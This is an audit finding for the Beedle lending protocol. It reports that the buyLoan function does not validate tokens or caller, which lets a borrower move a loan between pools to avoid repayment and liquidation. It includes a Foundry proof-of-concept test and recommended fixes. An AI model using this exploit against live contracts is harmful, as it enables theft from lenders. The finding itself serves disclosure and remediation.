Beedle - Oracle free perpetual lending

Summary

Buyer can always make so that he is always borrowing a loan without paying it back and he can also prevent anyone from liquidating him as long as there are pools that he can borrow from no matter the loan token's and the collateral token's address because there is no check for that in the buyLoan function.

Vulnerability Details

Let's say that the Alice (a lender) wants to get rid of the loan of Bob (a borrower). Alice calls the startAuction function. Bob sees that and immediately calls the buyLoan function to move his loan to another pool (as long as there is a pool with balance > than Bob's debt). No matter what the loan token and the collateral token is, he moves his loan to another lender. Bob can then continue to do that forever as long as there is a pool with balance > than Bob's debt. That way he just never pays his debt. This happens because:

1. buyLoan function doesn't validate the loan and collateral tokens

2. buyLoan function can be called by anyone.

Proof Of Concept

You need to add this uint256[] loanIds; and this Borrow[] borrowArray; as a storage variables in the test to work properly.
Add this test in the Lender.t.sol contract to see the issue:

function testBuyLoan() public {
    vm.startPrank(lender1);
    Pool memory p = Pool({
        lender: lender1,
        loanToken: address(loanToken),
        collateralToken: address(collateralToken),
        minLoanSize: 100*10**18,
        poolBalance: 1000*10**18,
        maxLoanRatio: 2*10**18,
        auctionLength: 2 days,
        interestRate: 1000,
        outstandingLoans: 0
    });
    lender.setPool(p);
    vm.stopPrank();
    

    TERC20 anotherLoanToken = new TERC20();
    TERC20 anotherCollateralToken = new TERC20();

    anotherLoanToken.mint(lender2, 1000e18);
    
    vm.startPrank(lender2);
    anotherLoanToken.approve(address(lender), 1000e18);
    Pool memory p1 = Pool({
        lender: lender2,
        loanToken: address(anotherLoanToken),
        collateralToken: address(anotherCollateralToken),
        minLoanSize: 100*10**18,
        poolBalance: 1000*10**18,
        maxLoanRatio: 2*10**18,
        auctionLength: 1,
        interestRate: 1000,
        outstandingLoans: 0
    });
    lender.setPool(p1);
    vm.stopPrank();

    bytes32 poolId = lender.getPoolId(lender1, address(loanToken), address(collateralToken));
    bytes32 poolId2 = lender.getPoolId(lender2, address(anotherLoanToken), address(anotherCollateralToken));

    vm.startPrank(borrower);
    Borrow memory borrow = Borrow({
        poolId: poolId,
        debt: 200e18,
        collateral: 100e18
    });
    
    borrowArray.push(borrow);
    lender.borrow(borrowArray);
    vm.stopPrank();

    loanIds.push(0);

    vm.startPrank(lender1);
    lender.startAuction(loanIds);
    vm.stopPrank();

    vm.warp(block.timestamp + 1 days);

    vm.startPrank(borrower);
    lender.buyLoan(0, poolId2);
    vm.stopPrank();

    (,,,,uint256 poolBalance,,,,) = lender.pools(poolId);
    (,,,,uint256 poolBalance2,,,,) = lender.pools(poolId2);

    console.log("Pool 1 balance: ", poolBalance);
    console.log("Pool 2 balanace: ", poolBalance2);
}

In this test we see that the borrower is able to move one pool to another when an auction is in progress.

Impact

This way borrowers can move from pool to pool and never get punished for not returning their loans.

Tools Used

Visual Studio Code, Foundry

Recommendations

Firstly a check should be added to see if the loan and collateral tokens sync with the previous pool when executing the buyLoan function. Secondly I believe that the buyLoan function should only be accessible by someone that has a pool and the executor should only be able to put the loan in his pool (buy the loan).